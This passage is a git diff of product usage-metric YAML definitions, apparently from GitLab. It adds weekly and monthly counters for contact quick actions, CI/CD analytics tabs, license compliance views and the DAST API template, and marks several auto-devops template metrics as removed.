diff --git a/config/metrics/counts_28d/20210216184559_ci_templates_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216184559_ci_templates_total_unique_counts_monthly.yml
index c80a7dada11..1e3d07ed1da 100644
--- a/config/metrics/counts_28d/20210216184559_ci_templates_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216184559_ci_templates_total_unique_counts_monthly.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: redis_hll_counters.ci_templates.ci_templates_total_unique_counts_monthly
description: Total count of pipelines runs
product_section: ops
@@ -49,6 +49,7 @@ options:
- p_ci_templates_security_api_fuzzing_latest
- p_ci_templates_security_secure_binaries
- p_ci_templates_security_dast_api
+ - p_ci_templates_security_dast_api_latest
- p_ci_templates_security_container_scanning
- p_ci_templates_security_dast_latest
- p_ci_templates_security_dependency_scanning
@@ -153,6 +154,7 @@ options:
- p_ci_templates_implicit_security_api_fuzzing_latest
- p_ci_templates_implicit_security_secure_binaries
- p_ci_templates_implicit_security_dast_api
+ - p_ci_templates_implicit_security_dast_api_latest
- p_ci_templates_implicit_security_container_scanning
- p_ci_templates_implicit_security_dast_latest
- p_ci_templates_implicit_security_dependency_scanning
diff --git a/config/metrics/counts_28d/20210427102618_code_review_category_monthly_active_users.yml b/config/metrics/counts_28d/20210427102618_code_review_category_monthly_active_users.yml
index be0fa6eaff7..a0dd87cd7dc 100644
--- a/config/metrics/counts_28d/20210427102618_code_review_category_monthly_active_users.yml
+++ b/config/metrics/counts_28d/20210427102618_code_review_category_monthly_active_users.yml
@@ -1,11 +1,11 @@
---
-data_category: optional
+data_category: operational
key_path: counts_monthly.aggregated_metrics.code_review_category_monthly_active_users
description: Unique users performing actions on code review events
product_section: dev
product_stage: devops::create
product_group: group::code review
-product_category:
+product_category:
value_type: number
status: active
milestone: "13.12"
diff --git a/config/metrics/counts_28d/20210902000813_p_ci_templates_implicit_auto_devops_deploy_latest_monthly.yml b/config/metrics/counts_28d/20210902000813_p_ci_templates_implicit_auto_devops_deploy_latest_monthly.yml
index 3b667e49f0d..3450683aaf3 100644
--- a/config/metrics/counts_28d/20210902000813_p_ci_templates_implicit_auto_devops_deploy_latest_monthly.yml
+++ b/config/metrics/counts_28d/20210902000813_p_ci_templates_implicit_auto_devops_deploy_latest_monthly.yml
@@ -6,8 +6,9 @@ product_stage: ''
product_group: ''
product_category: ''
value_type: number
-status: active
+status: removed
milestone: '14.3'
+milestone_removed: '14.6'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69204
time_frame: 28d
data_source: redis_hll
diff --git a/config/metrics/counts_28d/20211104154357_i_code_review_widget_nothing_merge_click_new_file_monthly.yml b/config/metrics/counts_28d/20211104154357_i_code_review_widget_nothing_merge_click_new_file_monthly.yml
index 1aa0edf60e6..928dd24b701 100644
--- a/config/metrics/counts_28d/20211104154357_i_code_review_widget_nothing_merge_click_new_file_monthly.yml
+++ b/config/metrics/counts_28d/20211104154357_i_code_review_widget_nothing_merge_click_new_file_monthly.yml
@@ -8,7 +8,7 @@ product_category: code_review
value_type: number
status: active
milestone: '14.5'
-introduced_by_url:
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73762
time_frame: 28d
data_source: redis_hll
instrumentation_class: RedisHLLMetric
diff --git a/config/metrics/counts_28d/20211109114953_i_quickactions_add_contacts_monthly.yml b/config/metrics/counts_28d/20211109114953_i_quickactions_add_contacts_monthly.yml
new file mode 100644
index 00000000000..ce6ab2f1580
--- /dev/null
+++ b/config/metrics/counts_28d/20211109114953_i_quickactions_add_contacts_monthly.yml
@@ -0,0 +1,25 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_add_contacts_monthly
+description: Count of MAU using the `/add_contacts` quick action
+product_section: dev
+product_stage: plan
+product_group: group::product planning
+product_category: service_desk
+value_type: number
+status: active
+milestone: '14.5'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73413
+time_frame: 28d
+data_source: redis_hll
+data_category: optional
+instrumentation_class: RedisHLLMetric
+options:
+ events:
+ - i_quickactions_add_contacts
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_28d/20211109120251_i_quickactions_remove_contacts_monthly.yml b/config/metrics/counts_28d/20211109120251_i_quickactions_remove_contacts_monthly.yml
new file mode 100644
index 00000000000..7a544890e5a
--- /dev/null
+++ b/config/metrics/counts_28d/20211109120251_i_quickactions_remove_contacts_monthly.yml
@@ -0,0 +1,25 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_remove_contacts_monthly
+description: Count of MAU using the `/remove_contacts` quick action
+product_section: dev
+product_stage: plan
+product_group: group::product planning
+product_category: service_desk
+value_type: number
+status: active
+milestone: '14.5'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73413
+time_frame: 28d
+data_source: redis_hll
+data_category: optional
+instrumentation_class: RedisHLLMetric
+options:
+ events:
+ - i_quickactions_remove_contacts
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_28d/20211122134101_p_ci_templates_implicit_security_dast_api_latest_monthly.yml b/config/metrics/counts_28d/20211122134101_p_ci_templates_implicit_security_dast_api_latest_monthly.yml
new file mode 100644
index 00000000000..4b9bf4120f5
--- /dev/null
+++ b/config/metrics/counts_28d/20211122134101_p_ci_templates_implicit_security_dast_api_latest_monthly.yml
@@ -0,0 +1,25 @@
+---
+key_path: redis_hll_counters.ci_templates.p_ci_templates_implicit_security_dast_api_latest_monthly
+description: Monthly counts for DAST API latest CI template
+product_section: sec
+product_stage: secure
+product_group: dynamic_analysis
+product_category: dynamic_application_security_testing
+value_type: number
+status: active
+milestone: '14.6'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73876
+time_frame: 28d
+data_source: redis_hll
+data_category: optional
+instrumentation_class: RedisHLLMetric
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+options:
+ events:
+ - p_ci_templates_implicit_security_dast_api_latest
diff --git a/config/metrics/counts_28d/20211126084446_p_analytics_ci_cd_pipelines_monthly.yml b/config/metrics/counts_28d/20211126084446_p_analytics_ci_cd_pipelines_monthly.yml
new file mode 100644
index 00000000000..bd1e7a74b46
--- /dev/null
+++ b/config/metrics/counts_28d/20211126084446_p_analytics_ci_cd_pipelines_monthly.yml
@@ -0,0 +1,26 @@
+---
+key_path: redis_hll_counters.analytics.p_analytics_ci_cd_pipelines_monthly
+description: Count of unique visits to the project level CI CD Analytics pipelines tab
+product_section: dev
+product_stage: manage
+product_group: group::optimize
+product_category:
+value_type: number
+status: active
+milestone: '14.6'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75187
+time_frame: 28d
+data_source: redis_hll
+data_category: optional
+instrumentation_class: RedisHLLMetric
+performance_indicator_type: []
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
+options:
+ events:
+ - p_analytics_ci_cd_pipelines
diff --git a/config/metrics/counts_28d/20211126090835_p_analytics_ci_cd_deployment_frequency_monthly.yml b/config/metrics/counts_28d/20211126090835_p_analytics_ci_cd_deployment_frequency_monthly.yml
new file mode 100644
index 00000000000..54118e30127
--- /dev/null
+++ b/config/metrics/counts_28d/20211126090835_p_analytics_ci_cd_deployment_frequency_monthly.yml
@@ -0,0 +1,26 @@
+---
+key_path: redis_hll_counters.analytics.p_analytics_ci_cd_deployment_frequency_monthly
+description: Count of unique visits to the project level CI CD Analytics deployment frequency tab
+product_section: dev
+product_stage: manage
+product_group: group::optimize
+product_category:
+value_type: number
+status: active
+milestone: '14.6'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75187
+time_frame: 28d
+data_source: redis_hll
+data_category: optional
+instrumentation_class: RedisHLLMetric
+performance_indicator_type: []
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
+options:
+ events:
+ - p_analytics_ci_cd_deployment_frequency
diff --git a/config/metrics/counts_28d/20211126091206_p_analytics_ci_cd_lead_time_monthly.yml b/config/metrics/counts_28d/20211126091206_p_analytics_ci_cd_lead_time_monthly.yml
new file mode 100644
index 00000000000..9a2e194ed1a
--- /dev/null
+++ b/config/metrics/counts_28d/20211126091206_p_analytics_ci_cd_lead_time_monthly.yml
@@ -0,0 +1,26 @@
+---
+key_path: redis_hll_counters.analytics.p_analytics_ci_cd_lead_time_monthly
+description: Count of unique visits to the project level CI CD Analytics lead time tab
+product_section: dev
+product_stage: manage
+product_group: group::optimize
+product_category:
+value_type: number
+status: active
+milestone: '14.6'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75187
+time_frame: 28d
+data_source: redis_hll
+data_category: optional
+instrumentation_class: RedisHLLMetric
+performance_indicator_type: []
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
+options:
+ events:
+ - p_analytics_ci_cd_lead_time
diff --git a/config/metrics/counts_28d/20211201140658_users_expanding_testing_license_compliance_report_monthly.yml b/config/metrics/counts_28d/20211201140658_users_expanding_testing_license_compliance_report_monthly.yml
new file mode 100644
index 00000000000..f8f7f9933cf
--- /dev/null
+++ b/config/metrics/counts_28d/20211201140658_users_expanding_testing_license_compliance_report_monthly.yml
@@ -0,0 +1,25 @@
+---
+data_category: optional
+key_path: redis_hll_counters.testing.users_expanding_testing_license_compliance_report_monthly
+description: Count of expanding the license compliance widget
+product_section: sec
+product_stage: secure
+product_group: group::static analysis
+product_category: dependency_scanning
+value_type: number
+status: active
+milestone: '14.6'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75643
+time_frame: 28d
+data_source: redis_hll
+instrumentation_class: RedisHLLMetric
+options:
+ events:
+ - users_expanding_testing_license_compliance_report
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_28d/20211201154341_users_visiting_license_compliance_full_report_monthly.yml b/config/metrics/counts_28d/20211201154341_users_visiting_license_compliance_full_report_monthly.yml
new file mode 100644
index 00000000000..638a64b20ce
--- /dev/null
+++ b/config/metrics/counts_28d/20211201154341_users_visiting_license_compliance_full_report_monthly.yml
@@ -0,0 +1,25 @@
+---
+data_category: optional
+key_path: redis_hll_counters.testing.users_visiting_testing_license_compliance_full_report_monthly
+description: Count of visiting the license compliance full report
+product_section: sec
+product_stage: secure
+product_group: group::static analysis
+product_category: dependency_scanning
+value_type: number
+status: active
+milestone: '14.6'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75643
+time_frame: 28d
+data_source: redis_hll
+instrumentation_class: RedisHLLMetric
+options:
+ events:
+ - users_visiting_testing_license_compliance_full_report
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_28d/20211201194407_p_ci_templates_security_dast_api_latest_monthly.yml b/config/metrics/counts_28d/20211201194407_p_ci_templates_security_dast_api_latest_monthly.yml
new file mode 100644
index 00000000000..cfcffe5caca
--- /dev/null
+++ b/config/metrics/counts_28d/20211201194407_p_ci_templates_security_dast_api_latest_monthly.yml
@@ -0,0 +1,25 @@
+---
+key_path: redis_hll_counters.ci_templates.p_ci_templates_security_dast_api_latest_monthly
+description: Monthly counts for DAST API latest CI template
+product_section: sec
+product_stage: secure
+product_group: dynamic_analysis
+product_category: dynamic_application_security_testing
+value_type: number
+status: active
+milestone: "14.6"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73876
+time_frame: 28d
+data_source: redis_hll
+data_category: optional
+instrumentation_class: RedisHLLMetric
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+options:
+ events:
+ - p_ci_templates_security_dast_api_latest
diff --git a/config/metrics/counts_28d/20211202094237_users_visiting_manage_license_compliance_monthly.yml b/config/metrics/counts_28d/20211202094237_users_visiting_manage_license_compliance_monthly.yml
new file mode 100644
index 00000000000..81b728a5ebd
--- /dev/null
+++ b/config/metrics/counts_28d/20211202094237_users_visiting_manage_license_compliance_monthly.yml
@@ -0,0 +1,25 @@
+---
+data_category: optional
+key_path: redis_hll_counters.testing.users_visiting_testing_manage_license_compliance_monthly
+description: Count of visiting the manage license compliance page
+product_section: sec
+product_stage: secure
+product_group: group::static analysis
+product_category: dependency_scanning
+value_type: number
+status: active
+milestone: '14.6'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75643
+time_frame: 28d
+data_source: redis_hll
+instrumentation_class: RedisHLLMetric
+options:
+ events:
+ - users_visiting_testing_manage_license_compliance
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_7d/20210216175014_analytics_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210216175014_analytics_total_unique_counts_weekly.yml
index 3a9efa3f962..4efbc3f14de 100644
--- a/config/metrics/counts_7d/20210216175014_analytics_total_unique_counts_weekly.yml
+++ b/config/metrics/counts_7d/20210216175014_analytics_total_unique_counts_weekly.yml
@@ -13,29 +13,32 @@ data_source: redis_hll
instrumentation_class: RedisHLLMetric
options:
events:
- - users_viewing_analytics_group_devops_adoption
- - i_analytics_dev_ops_adoption
- - i_analytics_dev_ops_score
- - p_analytics_merge_request
- - i_analytics_instance_statistics
- - g_analytics_contribution
- - g_analytics_insights
- - g_analytics_issues
- - g_analytics_productivity
- - g_analytics_valuestream
- - p_analytics_pipelines
- - p_analytics_code_reviews
- - p_analytics_valuestream
- - p_analytics_insights
- - p_analytics_issues
- - p_analytics_repo
- - i_analytics_cohorts
+ - users_viewing_analytics_group_devops_adoption
+ - i_analytics_dev_ops_adoption
+ - i_analytics_dev_ops_score
+ - p_analytics_merge_request
+ - i_analytics_instance_statistics
+ - g_analytics_contribution
+ - g_analytics_insights
+ - g_analytics_issues
+ - g_analytics_productivity
+ - g_analytics_valuestream
+ - p_analytics_pipelines
+ - p_analytics_ci_cd_pipelines
+ - p_analytics_ci_cd_deployment_frequency
+ - p_analytics_ci_cd_lead_time
+ - p_analytics_code_reviews
+ - p_analytics_valuestream
+ - p_analytics_insights
+ - p_analytics_issues
+ - p_analytics_repo
+ - i_analytics_cohorts
distribution:
-- ce
-- ee
+ - ce
+ - ee
tier:
-- free
-- premium
-- ultimate
+ - free
+ - premium
+ - ultimate
performance_indicator_type: []
-milestone: "<13.9"
+milestone: '<13.9'
diff --git a/config/metrics/counts_7d/20210216184500_p_ci_templates_implicit_auto_devops_build_weekly.yml b/config/metrics/counts_7d/20210216184500_p_ci_templates_implicit_auto_devops_build_weekly.yml
index fbfb93ded5a..9bec574722c 100644
--- a/config/metrics/counts_7d/20210216184500_p_ci_templates_implicit_auto_devops_build_weekly.yml
+++ b/config/metrics/counts_7d/20210216184500_p_ci_templates_implicit_auto_devops_build_weekly.yml
@@ -7,7 +7,8 @@ product_stage: configure
product_group: group::configure
product_category: infrastructure_as_code
value_type: number
-status: active
+status: removed
+milestone_removed: '14.6'
time_frame: 7d
data_source: redis_hll
instrumentation_class: RedisHLLMetric
diff --git a/config/metrics/counts_7d/20210216184504_p_ci_templates_implicit_auto_devops_deploy_weekly.yml b/config/metrics/counts_7d/20210216184504_p_ci_templates_implicit_auto_devops_deploy_weekly.yml
index 0b05e776c70..ec176ce689c 100644
--- a/config/metrics/counts_7d/20210216184504_p_ci_templates_implicit_auto_devops_deploy_weekly.yml
+++ b/config/metrics/counts_7d/20210216184504_p_ci_templates_implicit_auto_devops_deploy_weekly.yml
@@ -7,7 +7,8 @@ product_stage: configure
product_group: group::configure
product_category: infrastructure_as_code
value_type: number
-status: active
+status: removed
+milestone_removed: '14.6'
time_frame: 7d
data_source: redis_hll
instrumentation_class: RedisHLLMetric
diff --git a/config/metrics/counts_7d/20210216184515_p_ci_templates_5_min_production_app_weekly.yml b/config/metrics/counts_7d/20210216184515_p_ci_templates_5_min_production_app_weekly.yml
index 45fe5e380f5..050ad56eb91 100644
--- a/config/metrics/counts_7d/20210216184515_p_ci_templates_5_min_production_app_weekly.yml
+++ b/config/metrics/counts_7d/20210216184515_p_ci_templates_5_min_production_app_weekly.yml
@@ -7,7 +7,8 @@ product_stage: deploy
product_group: group::5-min-app
product_category: five_minute_production_app
value_type: number
-status: active
+status: removed
+milestone_removed: '14.6'
time_frame: 7d
data_source: redis_hll
instrumentation_class: RedisHLLMetric
diff --git a/config/metrics/counts_7d/20210216184524_p_ci_templates_aws_cf_deploy_ec2_weekly.yml b/config/metrics/counts_7d/20210216184524_p_ci_templates_aws_cf_deploy_ec2_weekly.yml
index adc12342146..0477d58a5d8 100644
--- a/config/metrics/counts_7d/20210216184524_p_ci_templates_aws_cf_deploy_ec2_weekly.yml
+++ b/config/metrics/counts_7d/20210216184524_p_ci_templates_aws_cf_deploy_ec2_weekly.yml
@@ -8,7 +8,8 @@ product_stage: release
product_group: group::release
product_category: continuous_delivery
value_type: number
-status: active
+status: removed
+milestone_removed: '14.6'
time_frame: 7d
data_source: redis_hll
instrumentation_class: RedisHLLMetric
diff --git a/config/metrics/counts_7d/20210216184536_p_ci_templates_auto_devops_deploy_weekly.yml b/config/metrics/counts_7d/20210216184536_p_ci_templates_auto_devops_deploy_weekly.yml
index b01a0288228..b06a4fa5577 100644
--- a/config/metrics/counts_7d/20210216184536_p_ci_templates_auto_devops_deploy_weekly.yml
+++ b/config/metrics/counts_7d/20210216184536_p_ci_templates_auto_devops_deploy_weekly.yml
@@ -7,8 +7,9 @@ product_stage: configure
product_group: group::configure
product_category: infrastructure_as_code
value_type: number
-status: active
+status: removed
milestone: '14.3'
+milestone_removed: '14.6'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69204
time_frame: 7d
data_source: redis_hll
diff --git a/config/metrics/counts_7d/20210216184540_p_ci_templates_auto_devops_deploy_latest_weekly.yml b/config/metrics/counts_7d/20210216184540_p_ci_templates_auto_devops_deploy_latest_weekly.yml
index 59f9f25aa06..d7278e2dd34 100644
--- a/config/metrics/counts_7d/20210216184540_p_ci_templates_auto_devops_deploy_latest_weekly.yml
+++ b/config/metrics/counts_7d/20210216184540_p_ci_templates_auto_devops_deploy_latest_weekly.yml
@@ -7,7 +7,8 @@ product_stage: configure
product_group: group::configure
product_category: infrastructure_as_code
value_type: number
-status: active
+status: removed
+milestone_removed: '14.6'
time_frame: 7d
data_source: redis_hll
instrumentation_class: RedisHLLMetric
diff --git a/config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml
index 31813735ea4..8d545b91d1f 100644
--- a/config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml
+++ b/config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml
@@ -49,6 +49,7 @@ options:
- p_ci_templates_security_api_fuzzing_latest
- p_ci_templates_security_secure_binaries
- p_ci_templates_security_dast_api
+ - p_ci_templates_security_dast_api_latest
- p_ci_templates_security_container_scanning
- p_ci_templates_security_dast_latest
- p_ci_templates_security_dependency_scanning
@@ -153,6 +154,7 @@ options:
- p_ci_templates_implicit_security_api_fuzzing_latest
- p_ci_templates_implicit_security_secure_binaries
- p_ci_templates_implicit_security_dast_api
+ - p_ci_templates_implicit_security_dast_api_latest
- p_ci_templates_implicit_security_container_scanning
- p_ci_templates_implicit_security_dast_latest
- p_ci_templates_implicit_security_dependency_scanning
diff --git a/config/metrics/counts_7d/20210902000809_p_ci_templates_implicit_auto_devops_deploy_latest_weekly.yml b/config/metrics/counts_7d/20210902000809_p_ci_templates_implicit_auto_devops_deploy_latest_weekly.yml
index 7f674324a31..beb82977e3f 100644
--- a/config/metrics/counts_7d/20210902000809_p_ci_templates_implicit_auto_devops_deploy_latest_weekly.yml
+++ b/config/metrics/counts_7d/20210902000809_p_ci_templates_implicit_auto_devops_deploy_latest_weekly.yml
@@ -6,8 +6,9 @@ product_stage: configure
product_group: group::configure
product_category: infrastructure_as_code
value_type: number
-status: active
+status: removed
milestone: '14.3'
+milestone_removed: '14.6'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69204
time_frame: 7d
data_source: redis_hll
diff --git a/config/metrics/counts_7d/20211104154352_i_code_review_widget_nothing_merge_click_new_file_weekly.yml b/config/metrics/counts_7d/20211104154352_i_code_review_widget_nothing_merge_click_new_file_weekly.yml
index 9f8ae151a80..3a647c52f71 100644
--- a/config/metrics/counts_7d/20211104154352_i_code_review_widget_nothing_merge_click_new_file_weekly.yml
+++ b/config/metrics/counts_7d/20211104154352_i_code_review_widget_nothing_merge_click_new_file_weekly.yml
@@ -8,7 +8,7 @@ product_category: code_review
value_type: number
status: active
milestone: '14.5'
-introduced_by_url:
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73762
time_frame: 7d
data_source: redis_hll
instrumentation_class: RedisHLLMetric
diff --git a/config/metrics/counts_7d/20211109114948_i_quickactions_add_contacts_weekly.yml b/config/metrics/counts_7d/20211109114948_i_quickactions_add_contacts_weekly.yml
new file mode 100644
index 00000000000..356d969cea5
--- /dev/null
+++ b/config/metrics/counts_7d/20211109114948_i_quickactions_add_contacts_weekly.yml
@@ -0,0 +1,25 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_add_contacts_weekly
+description: Count of WAU using the `/add_contacts` quick action
+product_section: dev
+product_stage: plan
+product_group: group::product planning
+product_category: service_desk
+value_type: number
+status: active
+milestone: '14.5'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73413
+time_frame: 7d
+data_source: redis_hll
+data_category: optional
+instrumentation_class: RedisHLLMetric
+options:
+ events:
+ - i_quickactions_add_contacts
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_7d/20211109120245_i_quickactions_remove_contacts_weekly.yml b/config/metrics/counts_7d/20211109120245_i_quickactions_remove_contacts_weekly.yml
new file mode 100644
index 00000000000..7a660ddffd2
--- /dev/null
+++ b/config/metrics/counts_7d/20211109120245_i_quickactions_remove_contacts_weekly.yml
@@ -0,0 +1,25 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_remove_contacts_weekly
+description: Count of WAU using the `/remove_contacts` quick action
+product_section: dev
+product_stage: plan
+product_group: group::product planning
+product_category: service_desk
+value_type: number
+status: active
+milestone: '14.5'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73413
+time_frame: 7d
+data_source: redis_hll
+data_category: optional
+instrumentation_class: RedisHLLMetric
+options:
+ events:
+ - i_quickactions_remove_contacts
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_7d/20211122134101_p_ci_templates_implicit_security_dast_api_latest_weekly.yml b/config/metrics/counts_7d/20211122134101_p_ci_templates_implicit_security_dast_api_latest_weekly.yml
new file mode 100644
index 00000000000..8d0415dedd2
--- /dev/null
+++ b/config/metrics/counts_7d/20211122134101_p_ci_templates_implicit_security_dast_api_latest_weekly.yml
@@ -0,0 +1,25 @@
+---
+key_path: redis_hll_counters.ci_templates.p_ci_templates_implicit_security_dast_api_latest_weekly
+description: Weekly counts for DAST API latest CI template
+product_section: sec
+product_stage: secure
+product_group: dynamic_analysis
+product_category: dynamic_application_security_testing
+value_type: number
+status: active
+milestone: '14.6'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73876
+time_frame: 7d
+data_source: redis_hll
+data_category: optional
+instrumentation_class: RedisHLLMetric
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+options:
+ events:
+ - p_ci_templates_implicit_security_dast_api_latest
diff --git a/config/metrics/counts_7d/20211126084441_p_analytics_ci_cd_pipelines_weekly.yml b/config/metrics/counts_7d/20211126084441_p_analytics_ci_cd_pipelines_weekly.yml
new file mode 100644
index 00000000000..e77af4df59a
--- /dev/null
+++ b/config/metrics/counts_7d/20211126084441_p_analytics_ci_cd_pipelines_weekly.yml
@@ -0,0 +1,26 @@
+---
+key_path: redis_hll_counters.analytics.p_analytics_ci_cd_pipelines_weekly
+description: Count of unique visits to the project level CI CD Analytics pipelines tab
+product_section: dev
+product_stage: manage
+product_group: group::optimize
+product_category:
+value_type: number
+status: active
+milestone: '14.6'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75187
+time_frame: 7d
+data_source: redis_hll
+data_category: optional
+instrumentation_class: RedisHLLMetric
+performance_indicator_type: []
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
+options:
+ events:
+ - p_analytics_ci_cd_pipelines
diff --git a/config/metrics/counts_7d/20211126090829_p_analytics_ci_cd_deployment_frequency_weekly.yml b/config/metrics/counts_7d/20211126090829_p_analytics_ci_cd_deployment_frequency_weekly.yml
new file mode 100644
index 00000000000..d2181a95876
--- /dev/null
+++ b/config/metrics/counts_7d/20211126090829_p_analytics_ci_cd_deployment_frequency_weekly.yml
@@ -0,0 +1,26 @@
+---
+key_path: redis_hll_counters.analytics.p_analytics_ci_cd_deployment_frequency_weekly
+description: Count of unique visits to the project level CI CD Analytics deployment frequency tab
+product_section: dev
+product_stage: manage
+product_group: group::optimize
+product_category:
+value_type: number
+status: active
+milestone: '14.6'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75187
+time_frame: 7d
+data_source: redis_hll
+data_category: optional
+instrumentation_class: RedisHLLMetric
+performance_indicator_type: []
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
+options:
+ events:
+ - p_analytics_ci_cd_deployment_frequency
diff --git a/config/metrics/counts_7d/20211126091200_p_analytics_ci_cd_lead_time_weekly.yml b/config/metrics/counts_7d/20211126091200_p_analytics_ci_cd_lead_time_weekly.yml
new file mode 100644
index 00000000000..8d11cc16fcc
--- /dev/null
+++ b/config/metrics/counts_7d/20211126091200_p_analytics_ci_cd_lead_time_weekly.yml
@@ -0,0 +1,26 @@
+---
+key_path: redis_hll_counters.analytics.p_analytics_ci_cd_lead_time_weekly
+description: Count of unique visits to the project level CI CD Analytics lead time tab
+product_section: dev
+product_stage: manage
+product_group: group::optimize
+product_category:
+value_type: number
+status: active
+milestone: '14.6'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75187
+time_frame: 7d
+data_source: redis_hll
+data_category: optional
+instrumentation_class: RedisHLLMetric
+performance_indicator_type: []
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
+options:
+ events:
+ - p_analytics_ci_cd_lead_time
diff --git a/config/metrics/counts_7d/20211126154206_users_expanding_testing_license_compliance_report_weekly.yml b/config/metrics/counts_7d/20211126154206_users_expanding_testing_license_compliance_report_weekly.yml
new file mode 100644
index 00000000000..b96d0fff1bd
--- /dev/null
+++ b/config/metrics/counts_7d/20211126154206_users_expanding_testing_license_compliance_report_weekly.yml
@@ -0,0 +1,25 @@
+---
+data_category: optional
+key_path: redis_hll_counters.testing.users_expanding_testing_license_compliance_report_weekly
+description: Count of expanding the license compliance widget
+product_section: sec
+product_stage: secure
+product_group: group::static analysis
+product_category: dependency_scanning
+value_type: number
+status: active
+milestone: '14.6'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75643
+time_frame: 7d
+data_source: redis_hll
+instrumentation_class: RedisHLLMetric
+options:
+ events:
+ - users_expanding_testing_license_compliance_report
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_7d/20211201154118_users_visiting_license_compliance_full_report_weekly.yml b/config/metrics/counts_7d/20211201154118_users_visiting_license_compliance_full_report_weekly.yml
new file mode 100644
index 00000000000..4a6ee19fffe
--- /dev/null
+++ b/config/metrics/counts_7d/20211201154118_users_visiting_license_compliance_full_report_weekly.yml
@@ -0,0 +1,25 @@
+---
+data_category: optional
+key_path: redis_hll_counters.testing.users_visiting_testing_license_compliance_full_report_weekly
+description: Count of visiting the license compliance full report
+product_section: sec
+product_stage: secure
+product_group: group::static analysis
+product_category: dependency_scanning
+value_type: number
+status: active
+milestone: '14.6'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75643
+time_frame: 7d
+data_source: redis_hll
+instrumentation_class: RedisHLLMetric
+options:
+ events:
+ - users_visiting_testing_license_compliance_full_report
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_7d/20211201194402_p_ci_templates_security_dast_api_latest_weekly.yml b/config/metrics/counts_7d/20211201194402_p_ci_templates_security_dast_api_latest_weekly.yml
new file mode 100644
index 00000000000..1d4f024b361
--- /dev/null
+++ b/config/metrics/counts_7d/20211201194402_p_ci_templates_security_dast_api_latest_weekly.yml
@@ -0,0 +1,25 @@
+---
+key_path: redis_hll_counters.ci_templates.p_ci_templates_security_dast_api_latest_weekly
+description: Weekly counts for DAST API latest CI template
+product_section: sec
+product_stage: secure
+product_group: dynamic_analysis
+product_category: dynamic_application_security_testing
+value_type: number
+status: active
+milestone: "14.6"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73876
+time_frame: 7d
+data_source: redis_hll
+data_category: optional
+instrumentation_class: RedisHLLMetric
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+options:
+ events:
+ - p_ci_templates_security_dast_api_latest
diff --git a/config/metrics/counts_7d/20211202094430_users_visiting_manage_license_compliance_weekly.yml b/config/metrics/counts_7d/20211202094430_users_visiting_manage_license_compliance_weekly.yml
new file mode 100644
